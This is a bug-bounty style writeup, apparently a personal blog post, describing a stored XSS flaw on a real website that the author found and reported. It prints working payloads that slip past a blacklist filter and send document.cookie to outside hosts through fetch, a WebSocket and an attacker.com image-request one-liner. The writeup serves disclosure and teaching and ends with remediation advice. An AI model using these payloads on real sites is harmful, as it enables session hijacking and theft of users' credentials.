Projects
Writeups

Critical XSS

December 20, 2024 - Undisclosed Company (~40k monthly organic users)

This was the first critical/high severity vulnerability I found on a public website. It was a stored XSS vulnerability that allowed for exfiltration of cookies

Process

  • I joked to a friend who was on a website that the website looked ancient---it did. Jokingly, I entered into the search bar a simple "><p>hi</p>
  • Funnily enough, this actually worked, and this was the search result: hi" style="width: 220px;">
  • Next, I tried executing an alert: "><script>alert("hi!")</script>
    • This was caught by website security
  • I knew it was vulnerable, so I started going through and checking what I could enter:
"><img src="cd" onerror=alert(1) //didn't work (caught by security)
"><img src="cd" onerror=crbwek(bcu) //did work
"><img src="cd" onerror=console.log("bcu") //did work
  • It seemed to me that they had a blacklist, and it caught several other of the functions I tried. However, I found that I could set attributes of parts of the webpage
"><img src="cd" onerror="document.querySelector('blahblah').setAttribute('onmouseover', 'alert(document.cookie)');" // did work
"><img src="cd" onerror="document.querySelector('blahblah').setAttribute('onmouseover', 'a='); // didn't work (caught by security)
  • Funnily enough, for some reason anything that had an equals sign after the onerror= seemed to get caught by security. This meant that I had to prove credential exfiltration without any equal signs. First, I tried to just see if I could request other sites---If so, I'd just make a POST/GET to a personal webserver
"><img src="cd" onerror="document.querySelector('blahblah').setAttribute('onmouseover', `console.log(fetch('https://website.com', { 
  method: 'POST', 
  headers: { 
    'Content-Type': 'application/x-www-form-urlencoded' 
  },
  body: 'cookie' + document.cookie
}));`);">
  • They had a properly configured CORS policy, and I couldn't read the response. I misunderstood this as not being able to send out the request at all, and searched for alternative solutions. After some more experimentation, I found that I could use websockets to exfiltrate data.
"><img src="cd" onerror="document.getElementById('pagecontainer')
    .setAttribute('onmouseover', 
        'Object.defineProperty(window, \'socket\', {
             value: new WebSocket(\'wss://self_hosted_websocket\'), writable: true });
        socket.addEventListener(\'open\', function() { 
            socket.send(document.cookie); }); 
        socket.addEventListener(\'message\', function(event) { 
            console.log(\'Received:\', event.data);});
        '
    );
  • At this point, I had also switched to the page container, so that mouse activity anywhere on the screen would exfiltrate credentials.
  • I had also noted by this point that the "name" input of user profiles had the same sanitization as the search bar, so I tested it on a user profile page.

Impact

  • I had an XSS where I could do essentially anything. I didn't try attempting to execute website queries on their own accounts, but I'm relatively confident that I could.
  • However, all I tested before reporting the vulnerability was the above example, for cookie exfiltration.

Takeaway

  • Generally speaking, sanitize your inputs properly. Unsanitized inputs can lead to pretty nasty consequences.
  • This was my full list of remediations that I reported:
    • Sanitize certain characters: ", \, %, (, ), {, }, <, >, : (Generally sanitize input)
    • Add character limits on inputs (First & last name only need 15-25 characters max)
      • Make sure the limit is on the backend, not just in the HTML (user could modify the html & extend input max)
    • CORS Same origin is good, but doesn't stop everything
  • Also, don't rely on whitelists/blacklists. They're rarely comprehensive enough to catch everything.

Reflection

  • A few things that are rather embarrassing to admit (to be fair, this was one of my first bugs):
    • I probably didn't need to use websockets at all. I never checked on the other end if the request actually went through.
    • I probably didn't even need to use fetch, I never considered something like this:
      • new Image().src = "https://attacker.com/?c=" + document.cookie;
  • This experience highlighted the importance of fully understanding security policies like CORS and exploring the simplest, least complex attack paths. I also learned not to overcomplicate solutions when simpler methods, like query strings, could have worked just as well